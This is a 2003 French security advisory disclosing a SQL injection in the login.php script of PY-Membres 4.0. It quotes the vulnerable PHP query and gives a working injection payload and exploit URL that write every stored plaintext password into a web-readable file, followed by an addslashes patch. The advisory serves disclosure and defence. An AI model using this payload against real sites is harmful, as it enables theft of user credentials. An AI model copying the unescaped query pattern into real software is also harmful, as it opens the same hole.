PY-Membres 4.0 (login.php) SQL Injection
|
Date de Publication: 2003-04-06
BUGTRAQ-FRANCE ID: 0002
Titre: PY-Membres 4.0 (login.php) SQL Injection
Exploitable à distance : Oui
Exploitable en local : Oui
* Description *
PY-Membres est un script d'espace membres facilement intégrable au
design de votre site, nombreuses fonctions, telles que l'envoi du mot de passe par mail, la destruction automatique du compte, une partie administration complète avec modération possible des inscriptions, possibilité de voir la fiche d'un membre, et d'envoyer une newsletter a tous les membres.
Un problème de sécurité liée à l'utilisation des sessions dans la version 3.1 a déjà été découvert dernièrement, Un problème de type SQL Injection vient d'être découvert dans la version 4.0.
* Détails Technique - Exploit *
Le problème est de type injection SQL.Il se trouve dans le fichier login.php, dont voici le code :
---------------------------------------------------------------------------------
session_start();
session_name("pys");
include("config.php");
include("functions.php");
est_vide($login,"Vous n\'avez pas saisi de login !");
est_vide($pass,"Vous n\'avez pas saisi de mot de passe !");
connexiondb();
$sql = "SELECT passwd FROM $db_table WHERE login='$login'";
$req = mysql_query($sql) or die('Erreur SQL
! '.$sql.' '.mysql_error());
$data = mysql_fetch_array($req);
if($data['passwd'] != $pass)
{
echo "Mauvais login / password. Merci de recommencer ";
mysql_close();
exit;
}
else
{
$ploginy=$login;
session_register('ploginy');
$ip=$REMOTE_ADDR;
$host=gethostbyaddr($ip);
$log=date("d/m/Y à H\hi | ");
$log.=$ip." | ".$host;
$action = mysql_query("UPDATE $db_table SET lastlog='$log' WHERE
login='$ploginy'") or die (mysql_error()) ;
mysql_close();
Header("Location: membre.php");
}
?>
---------------------------------------------------------------------------------
Petite explication de ce script : On initialise d'abord la session, puis on inclut les fichiers config.php et functions.php, qui, comme on s'en doutent, contiennent respectivement des informations sur la configuration du script et des fonctions pour son execution. Ensuite on vérifie via la fonction est_vide() si on a bien entré un login (variable $login) et un mot de passe (variable $pass) et on se connecte à la base de données. On établit alors dans $sql une requête qui sera executée juste après, qui est :
-------------------------------------------------
SELECT passwd FROM $db_table WHERE login='$login'
-------------------------------------------------
$login est une variable dont la valeur est définie par l'utilisateur, et $db_table est définie dans config.php, et a comme valeur par défaut "pymembres" :
----------------------
$db_table="pymembres";
----------------------
La requête extrait donc le mot de passe de la table pymembres où le login est la valeur donnée à $login. Enfin on vérifie que le mot de passe entré par l'utilisateur est bien celui extrait de la base de donnée, on quitte le script et affiche un message si ce n'est pas le cas, ou lance la session utilisateur et onenregistre l'ip et l'heure du log dans la table si ça l'est.
Ici il n'est pas question d'utiliser le classique ''='', pour valider une requête SQL, car on ne connait pas le mot de passe. Par contre, on peut extraire les mots de passe de la base de donnée. Par exemple, si on entre une valeur à mot de passe (car sinon le script se bloque), et qu'on donne par exemple à $login la valeur :
-------------------------------------------------------
' OR ISNULL(NULL) INTO OUTFILE '/path/to/site/file.txt
-------------------------------------------------------
(/path/to/site/ étant le chemin du website dans le disque dur du serveur), alors la requête executée deviendra :
------------------------------------------------------------------------------------------------
SELECT passwd FROM pymembrs WHERE login='' OR ISNULL(NULL) INTO OUTFILE
'/path/to/site/file.txt'
------------------------------------------------------------------------------------------------
Quelle conséquence ?
ISNULL(NULL) renvois toujours vrai, comme 1=1, ''='', et bien d'autres expressions. INTO OUTFILE enregistre le résultat de la requête dans un fichier dont le chemin suit ('/path/to/site/file.txt').L'url :
http://[target]/login.php?login='%20OR%20ISNULL(NULL)%20INTO%20OUTFILE%20'/path/to/site/file.txt&pass=1
affichera donc le message "Mauvais login / password. Merci de recommencer " mais enregistrera tous les mots de passe se trouvant dans la table pymembres (non-cryptés) dans le fichier
http://[target]/file.txt.
* Solution *
Utiliser le patch disponible sur http://www.phpsecure.info.
Ou ajoutez la ligne :
----------------------------
$login = addslashes($login);
----------------------------
avant la ligne :
-----------------------------------------------------------
$sql = "SELECT passwd FROM $db_table WHERE login='$login'";
-----------------------------------------------------------
* Crédits *
Faille découverte par frog-m@n > et l'équipe de
"PHPSecure" (Avril 2003).
|